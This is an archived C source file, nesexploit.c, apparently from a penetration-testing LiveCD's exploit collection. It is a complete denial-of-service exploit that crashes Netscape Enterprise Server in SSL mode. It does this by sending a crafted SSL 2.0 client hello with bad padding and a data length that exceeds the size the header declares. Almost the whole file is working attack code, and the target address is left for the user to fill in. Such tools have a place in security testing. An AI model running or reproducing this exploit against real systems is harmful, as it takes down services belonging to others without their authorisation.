home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / netscape / nesexploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  129 lines

  1.  
  2.   //
  3.   // nesexploit.c - v1.02 - by Arne Vidstrom, winnt@bahnhof.se
  4.   //
  5.   // This program crashes Netscape Enterprise Server when it is
  6.   // running in SSL mode, by exploiting a bug in the SSL handshake
  7.   // code. The server crashes if the client:
  8.   //
  9.   //  * starts with SSL 2.0 format
  10.   //  * uses long record header
  11.   //  * uses padding >= 8
  12.   //  * sends at least 11 bytes more data than it specifies in the
  13.   //    header
  14.   //  * sends at least about 4 kb data
  15.   //
  16.   // I haven't included any error handling in the code because it's
  17.   // so boring to write... ;o)
  18.   //
  19.  
  20.   #include <winsock.h>
  21.   #include <string.h>
  22.   #include <stdio.h>
  23.  
  24.   #define sockaddr_in struct sockaddr_in
  25.   #define sockaddr struct sockaddr
  26.  
  27.   // Some combinations of these three constants will crash the server,
  28.   // others will not.
  29.  
  30.   #define PADDING 8
  31.   #define SPECIFIED_SIZE 11822
  32.   #define ACTUAL_SIZE 11833
  33.  
  34.   void main(void)
  35.   {
  36.           // IP address of the server - set to your own server and nobody
  37.           // elses :o)
  38.           char ipaddr[25] = "xxx.xxx.xxx.xxx";
  39.  
  40.           // SSL port
  41.           unsigned short port = xxxxx;
  42.  
  43.           SOCKET socket1;
  44.           unsigned char s[65536];
  45.           int errorCode;
  46.           WSADATA winSockData;
  47.           sockaddr_in peer;
  48.           int result;
  49.           unsigned char i;
  50.           unsigned int l;
  51.           int flags;
  52.  
  53.           printf("\nnesexploit.c - developed by Arne Vidstrom,
  54.   winnt@bahnhof.se\n\n");
  55.  
  56.           // Allocate a socket, connect and stuff...
  57.           errorCode = WSAStartup(0x0101, &winSockData);
  58.           socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  59.           peer.sin_family = AF_INET;
  60.           peer.sin_port = htons(port);
  61.           peer.sin_addr.s_addr = inet_addr(ipaddr);
  62.           for (i = 0; i < 8; i++)
  63.                   peer.sin_zero[i] = 0;
  64.           result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
  65.           if (result != 0)
  66.                   printf("Ehmn, where's that server? ;o)\n\n");
  67.  
  68.           // Initialize the buffer with a lot of '.' Anything would do...
  69.           for (l=0; l<65536; l++)
  70.                   s[l] = '.';
  71.  
  72.           // Version 2.0 Format Header with padding.
  73.           // Shouldn't be any padding because this part is not encrypted,
  74.           // but without padding the server won't crash. :o)
  75.           s[0] = (SPECIFIED_SIZE & 0xff00) >> 8;
  76.           s[1] = (SPECIFIED_SIZE & 0x00ff);
  77.           s[2] = PADDING;
  78.  
  79.           // Client says Hello!
  80.           s[3] = 0x01;
  81.  
  82.           // Client wishes to use Version 3.0 later (there will be no "later"
  83.   though...)
  84.           s[4] = 0x03;
  85.           s[5] = 0x00;
  86.  
  87.           // Cipher Specs Length = 3
  88.           s[6] = 0x00;
  89.           s[7] = 0x0c;
  90.  
  91.           // Session ID = 0
  92.           s[8] = 0x00;
  93.           s[9] = 0x00;
  94.  
  95.           // Challenge Length = 16
  96.           s[10] = 0x00;
  97.           s[11] = 0x10;
  98.  
  99.           // Challenge Specs Data
  100.           s[12] = 0x02;
  101.           s[13] = 0x00;
  102.           s[14] = 0x80;
  103.  
  104.           s[15] = 0x04;
  105.           s[16] = 0x00;
  106.           s[17] = 0x80;
  107.  
  108.           s[18] = 0x00;
  109.           s[19] = 0x00;
  110.           s[20] = 0x03;
  111.  
  112.           s[21] = 0x00;
  113.           s[22] = 0x00;
  114.           s[23] = 0x06;
  115.  
  116.           // Challenge Data is a few '.' from above
  117.  
  118.           // The rest is also '.' from above
  119.  
  120.           // Send all this to the server
  121.           flags = 0;
  122.           result = send(socket1, s, ACTUAL_SIZE, flags);
  123.           if (result != SOCKET_ERROR)
  124.                   printf("Done!\n\n");
  125.  
  126.           // Clean up
  127.           closesocket(socket1);
  128.           WSACleanup();
  129.   }